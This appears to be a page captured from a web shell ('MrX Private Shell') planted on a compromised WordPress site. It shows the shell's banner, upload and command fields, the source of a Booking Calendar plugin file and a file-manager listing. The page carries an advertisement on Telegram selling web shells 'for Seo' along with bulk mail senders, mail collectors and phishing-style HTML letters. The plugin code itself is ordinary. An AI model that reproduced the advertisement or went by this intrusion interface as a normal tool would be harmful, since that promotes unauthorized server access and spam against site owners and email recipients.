__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * @version 1.0
 * @package Booking Calendar
 * @subpackage  DB - checking if table, field or index exists
 * @category    Functions
 *
 * @author wpdevelop
 * @link https://wpbookingcalendar.com/
 * @email [email protected]
 *
 * @modified 2024-09-03
 */

if ( ! defined( 'ABSPATH' ) ) exit;                                             // Exit if accessed directly

// =====================================================================================================================
// ==  DB - checking if table, field or index exists  ==
// =====================================================================================================================

/**
 * Check if table exist
 *
 * @param string $tablename
 *
 * @return 0|1
 * @global       $wpdb
 */
function wpbc_is_table_exists( $tablename ) {

	global $wpdb;

	if (
		( ( ! empty( $wpdb->prefix ) ) && ( strpos( $tablename, $wpdb->prefix ) === false ) )
		|| ( '_' == $wpdb->prefix )                                                                                    // FixIn: 8.7.3.16.
	) {
		$tablename = $wpdb->prefix . $tablename;
	}

	if ( 0 ) {
		$sql_check_table = $wpdb->prepare( "SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE (TABLE_SCHEMA = '{$wpdb->dbname}') AND (TABLE_NAME = %s);", $tablename );
		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.NotPrepared
		$res = $wpdb->get_results( $sql_check_table );

		return count( $res );

	} else {

		$sql_check_table = $wpdb->prepare( "SHOW TABLES LIKE %s", $tablename );                                    //FixIn: 5.4.3
		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.NotPrepared
		$res = $wpdb->get_results( $sql_check_table );

		return count( $res );
	}

}




/**
 * Check if table exist
 *
 * @global  $wpdb
 * @param string $tablename
 * @param  $fieldname
 * @return 0|1
 */
function wpbc_is_field_in_table_exists( $tablename, $fieldname ) {


	global $wpdb;

	if (
		( ( ! empty( $wpdb->prefix ) ) && ( strpos( $tablename, $wpdb->prefix ) === false ) )
		|| ( '_' == $wpdb->prefix )                                                                                    // FixIn: 8.7.3.16.
	) {
		$tablename = $wpdb->prefix . $tablename;
	}

	if ( 0 ) {

		$sql_check_table = "SELECT * FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='{$tablename}' AND TABLE_SCHEMA='{$wpdb->dbname}' ";
		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.NotPrepared
		$res = $wpdb->get_results( $sql_check_table );

		foreach ( $res as $fld ) {
			if ( $fieldname === $fld->COLUMN_NAME ) {
				return 1;
			}
		}

	} else {

		$sql_check_table = "SHOW COLUMNS FROM {$tablename}";
		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.NotPrepared
		$res = $wpdb->get_results( $sql_check_table );

		foreach ( $res as $fld ) {
			if ( $fld->Field == $fieldname ) {
				return 1;
			}
		}
	}

	return 0;
}


/**
 * Check if index exist
 *
 * @param string $tablename
 * @param        $fieldindex
 *
 * @return 0|1
 * @global       $wpdb
 */
function wpbc_is_index_in_table_exists( $tablename, $fieldindex ) {
	global $wpdb;
	if ( ( ! empty( $wpdb->prefix ) ) && ( strpos( $tablename, $wpdb->prefix ) === false ) ) {
		$tablename = $wpdb->prefix . $tablename;
	}
	/* phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare, WordPress.DB.PreparedSQL.InterpolatedNotPrepared */
	$sql_check_table = $wpdb->prepare( "SHOW INDEX FROM {$tablename} WHERE Key_name = %s", $fieldindex );
	// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.NotPrepared
	$res = $wpdb->get_results( $sql_check_table );
	if ( count( $res ) > 0 ) {
		return 1;
	} else {
		return 0;
	}
}

Filemanager

Name Type Size Permission Actions
admin_menu_url.php File 21.92 KB 0640
admin_top_bar.php File 10.12 KB 0640
booking_data__get.php File 28.29 KB 0640
booking_data__parse.php File 33.27 KB 0640
city_list.php File 18.84 KB 0640
class-wpbc-action-scheduler-compatibility.php File 4.07 KB 0640
is_dismissed.php File 6.5 KB 0640
is_table_exist.php File 4.09 KB 0640
news_version.php File 6.99 KB 0640
nonce_func.php File 8.26 KB 0640
request.php File 20.7 KB 0640
sanitizing.php File 25.68 KB 0640
simple_html_tags.php File 8.02 KB 0640
str_regex.php File 20.75 KB 0640
user-custom-data-saver.php File 9.31 KB 0640
versions.php File 17.82 KB 0640
Filemanager